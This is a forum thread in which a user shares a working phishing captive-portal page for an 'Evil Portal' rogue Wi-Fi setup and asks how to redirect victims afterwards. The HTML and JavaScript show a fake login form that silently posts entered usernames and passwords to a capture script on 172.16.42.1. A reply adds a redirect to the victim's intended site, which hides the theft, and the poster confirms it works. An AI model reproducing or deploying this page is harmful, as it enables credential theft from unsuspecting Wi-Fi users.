Jump to content

Evil Portal authtarget


d0n350n

Recommended Posts

Help!!! I need the code for the authtarget so that the client goes to the site they actually wanted. Any takers?



<html><CENTER>

<head>

<title>$gatewayname Entry</title>

<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">


<script type="text/javascript">

function ajaxRequest() {

if (window.XMLHttpRequest) {

return new XMLHttpRequest();

} else if (window.ActiveXObject) {

return new ActiveXObject("Microsoft.XMLHTTP");

} else {

return false;

}

}



function sendInfo() {

var xmlhttp = new ajaxRequest();

document.getElementById("results").innerHTML="<p><i></i></p>";

var usernamevalue=encodeURIComponent(document.getElementById("username").value)

var passwordvalue=encodeURIComponent(document.getElementById("password").value)

var parameters="username="+usernamevalue+"&password="+passwordvalue

xmlhttp.open("POST", "http://172.16.42.1/capture2.php", true)

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")

xmlhttp.send(parameters)

}

</script>


</head>

<body bgcolor="white">


<div id="results"><p><i></i></p></div>


<table style="background-image:url(http://172.16.42.1/multi_logs_2.png);background-repeat:no-repeat;background-position:center center;border:0px solid black;width:800px;height:600px;">


<TR>

<TD width="42%" height="10%"></td>

<TD width="58%" height="10%"></td>

</tr>

<tr>

<TD width="42%" height="90%"></td>

<TD width="58%" height="90%">

<form id="pish" method="POST" action="http://172.16.42.1/capture2.php">

<b>Email or Username:</b><BR><input type="text" name="username" id="username"><br />

<b>Password:</b><BR><input type="password" name="password" id="password"><br />

<br>

<button type="button" onclick="sendInfo();return false;">Submit Info</button>

</form>


</TD></TR></TABLE>

</body>

</html>

Link to comment
Share on other sites

Please put your code in the [ " code " ] [ "/code" ] tags (remove the ""). It is to hard to read otherwise

Put this in your function after you send the info:

window.location = "$authtarget";

Edited by newbi3
Link to comment
Share on other sites

Please put your code in the [ " code " ] [ "/code" ] tags (remove the ""). It is to hard to read otherwise

Put this in your function after you send the info:

window.location = "$authtarget";

Thanks Again, It worked!!! But you kinda lost me with the code removal...

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...